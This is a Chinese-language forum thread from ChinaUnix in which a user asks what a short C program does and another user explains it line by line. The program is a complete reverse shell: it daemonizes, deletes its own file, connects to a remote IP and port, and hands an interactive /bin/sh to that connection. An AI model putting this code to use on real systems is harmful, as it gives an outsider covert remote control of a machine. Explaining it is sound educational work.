免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2238 | 回复: 4
打印 上一主题 下一主题

[C] 求助,这段代码是什么意思? [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2012-09-23 18:45 |只看该作者 |倒序浏览
  1. #include <stdio.h>
  2. #include <sys/socket.h>
  3. #include <netinet/in.h>
  4. int main(int argc, char *argv[])
  5. {
  6. int fd;
  7. struct sockaddr_in sin;
  8. char rms[21]="rm -f ";
  9. daemon(1,0);
  10. sin.sin_family = AF_INET;
  11. sin.sin_port = htons(atoi(argv[2]));
  12. sin.sin_addr.s_addr = inet_addr(argv[1]);
  13. bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
  14. fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
  15. if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
  16.    perror("[-] connect()");
  17.    exit(0);
  18. }
  19. strcat(rms, argv[0]);
  20. system(rms);  
  21. dup2(fd, 0);
  22. dup2(fd, 1);
  23. dup2(fd, 2);
  24. execl("/bin/sh","sh -i", NULL);
  25. close(fd);
  26. }
复制代码

论坛徽章:
4
水瓶座
日期:2013-09-06 12:27:30摩羯座
日期:2013-09-28 14:07:46处女座
日期:2013-10-24 14:25:01酉鸡
日期:2014-04-07 11:54:15
2 [报告]
发表于 2012-09-23 19:15 |只看该作者
本帖最后由 linux_c_py_php 于 2012-09-23 19:19 编辑

1, 转为守护进程.
2, socket连接到远端.
3, system函数执行rm -f 程序名, 删除本程序文件.(此时程序已完全加载入内存,不影响程序运行)
4, 重定向0,1,2到fd, 即标准输入,标准输出,标准错误重定向到了socket(socket双工双向).
5, 在当前进程execl执行/bin/bash -i. 因为:
-i        If the -i option is present, the shell is interactive.
所以, /bin/bash -i l将从标准输入读取用户交互的输入, 并向标准输出/错误写出结果. 因为第4步, 所以此时/bin/bash -i将会从socket读取shell命令, 并向socket写出结果.

相当于一个主动连接客户端的telnet服务端, 另一端可以远程操纵本机shell, 比如另一端向本端写如下内容:
remote request:ls\n

local response:
\              aoyun.xml             bt             em         interface.php         readme        test.php            t.py          utility      xid_for_test_torrent
11.txt         a.php                 curl.php       fork.php   json.html             response.txt  test_post.php       upload        video.html
add_bt.php     appsuggection.tar.gz  c:\video.html  get.php    loglog.txt            sp.txt        tool.php            upload_files  video.php
add_task.html  a.t                   data.csv       index.php  log.txt               task.php      torrent_index_lock  upload.html   view_bt.php
add_task.php   base.php              db.php         info.php   offline_download.sql  test.html     torrent.php         upload.php    vim

论坛徽章:
0
3 [报告]
发表于 2012-09-23 20:30 |只看该作者
回复 2# linux_c_py_php


    懂了,万分感谢!
我在本地运行,用nc也连上了。
现在有个小小问题,这个deamon进程怎么关闭?

论坛徽章:
4
水瓶座
日期:2013-09-06 12:27:30摩羯座
日期:2013-09-28 14:07:46处女座
日期:2013-10-24 14:25:01酉鸡
日期:2014-04-07 11:54:15
4 [报告]
发表于 2012-09-23 20:40 |只看该作者
本帖最后由 linux_c_py_php 于 2012-09-23 20:41 编辑

在程序开头, 创建一个文件xxx.pid, 把getpid()写进xxx.pid.

想关的时候, kill -9 `cat xxx.pid`

kee212 发表于 2012-09-23 20:30
回复 2# linux_c_py_php

论坛徽章:
5
狮子座
日期:2013-08-20 10:12:24午马
日期:2013-11-23 18:04:102015年辞旧岁徽章
日期:2015-03-03 16:54:152015亚冠之德黑兰石油
日期:2015-06-29 18:11:1115-16赛季CBA联赛之新疆
日期:2024-02-21 10:00:53
5 [报告]
发表于 2012-09-23 21:00 |只看该作者
这个算病毒么==
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP